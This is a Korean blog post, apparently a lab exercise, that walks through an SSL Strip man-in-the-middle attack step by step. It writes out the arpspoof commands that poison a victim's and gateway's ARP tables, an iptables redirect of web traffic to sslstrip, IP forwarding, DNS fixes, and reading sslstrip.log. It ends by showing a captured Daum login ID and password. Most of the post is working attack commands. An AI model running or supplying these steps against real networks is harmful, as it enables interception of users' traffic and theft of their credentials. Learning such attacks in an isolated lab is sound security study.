SSL Strip 공격을 실습해보자.
MITM 공격은 사용자가 위조된 인증서를 받아들여야 통신이 가능하여 어느정도 눈치를 챌 수 있지만 SSL Strip
공격은 눈치채기가 어렵다.
실습환경은 위와 같다. 오류가 자꾸 나서 ip를 바꿨다.
희생자 pc는 1.221.80.5 이고
공격자 pc는 1.221.80.3 으로 하였다.
일단 SSL Strip을 하기전에 희생자 pc에 대해 arpspoof 공격을 하자. 터미널 2개를 키면 귀찮으니까 간단히
attack.sh 라는 파일을 vi편집기로 열어 위와 같은 명령어를 넣어주자
arpspoof -i eth0 -t [희생자 ip] [게이트웨이 주소]
arpspoof -i eth0 -t [게이트웨이 주소] [희생자 ip]
그다음 실행은
. ./attack.sh
로 실행해주면 된다.
게이트웨이와 사용자 pc간에 통로를 이제 훔쳐볼 수 있게 되었다.
희생자 pc에 들어가서 cmd 창에 arp -a 명령어를 입력하여 정상적으로 spoof가 되었는지 확인한다.
게이트웨이 주소 [1.221.80.1]과 공격자 pc [1.221.80.3]의 mac주소가 같은 것으로 보아 arp 테이블이 조작 되었다는걸 확인 할 수 있다.
위에 명령어는 iptables를 이용하여 http요청 패킷을 sslstrip 로 8080포트로 리디렉션 하는 것이다.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
그리고 NAT설정이 제대로 되었는지 확인하여 준다
iptables -L -t nat
밑줄친 부분이 위와 같은 설정이 되었다면 정상적으로 설정이 된 것이다.
다음은 IP Forwarding 기능을 활성화 하는 명령어이다.
echo 1 > /proc/sys/net/ipv4/ip_forward
그리고 다음 명령어로 ipv4 forward가 1로 활성화 되었는지 확인한다. (1- 활성화, 0-비활성화)
sysctl -a | grep ip_forward
sslstrip을 실행시켜보자
cd /usr/share/sslstrip 명령어를 입력하여 해당 폴더로 들어간다.
python sslstrop.py -l 8080 명령어로 8080번 port를 오픈하자.
netstat -an | grep 8080 명령어로 정상적으로 포트 오픈 상태를 확인하자.
위와 같이 tcp와 listen 이 나오면 정상적으로 오픈 되었다.
이제 희생자 컴퓨터가 웹사이트에 접속하길 기다리자.
희생자 pc에서 웹사이트를 접속하려고 실습을 하려할때 자주 오류가나는 2가지를 설명하려 한다.
1. 주소가 잘못되었습니다.
-희생자 pc에서 dns서버의 주소를 적어주지 않아서 발생하는 문제이다.
인터넷 설정에 가서 dns서버에 skt이든 kt이든 아무 dns 주소를 넣어주도록 하자.
2.주소가 잘못되었습니다. 가 없어졌지만 흰색 바탕에 7시부분에 완료 라고 뜨는경우
-이와 같은경우는 spoof하는 kali (공격자pc)가 도메인주소를 못찾아서 일어나는 경우다.
이와 같은 경우는 공격자 pc에 도메인 주소를 넣어주도록 하자.
kali로 가서
echo nameserver 210.220.163.82 > /etc/resolv.conf 를 입력하면 재접속 없이 바로 dns가 적용된다.
일반적으로 들어갈때는 https 창으로 들어가게 된다. (밑줄 확인)
하지만 ssl strip 공격을 실행하면 https에서 보안에 문제가있는 http에 접속을 시킨다.
이 상황에서 로그인을 하면 id와 password가 모두 암호화작업을 거치지 않는다.
아무거나 누르고 접속을 해보자. 편의상 아무거나 했지만. 공격을 당할때 로그인이 성공하든 실패하든 로그인 버튼을 누를때 넘어가는 모든 정보들은 해커가 해킹을 할 수 있다.
사용자가 정보를 넘기면 ssl strip이 반응을 한다. 정보를 캐서
vi /usr/share/sslstrip/sslstrip.log 명령어를 입력하여 로그를 살펴보면 다음과 같이 나온다.
logins.daum.net에서 18년 2월 23일에서
ID: racoongod
PW:racoongod123123123
이라고 타이핑 한 것을 훔칠 수 있었다.
'네트워크<구축,해킹,보안> > GNS3' 카테고리의 다른 글
[GNS3] CA(인증기관)과 WebServer의 SSL보안통신 이해하기-(2)인증서 발급,FTP (0) | 2018.03.12 |
---|---|
[GNS3] CA(인증기관)과 WebServer의 SSL보안통신 이해하기-(1)RootCA와 하위 CA (0) | 2018.03.12 |
[GNS3]Beast2.07을 이용하여 VM을 해킹해보자! (2) -분석 (0) | 2018.02.02 |
[GNS3]Beast2.07을 이용하여 VM을 해킹해보자! (1) -무작정 실습 (4) | 2018.02.01 |
[GNS3] Dynamic Routing 설정-RIP (0) | 2018.02.01 |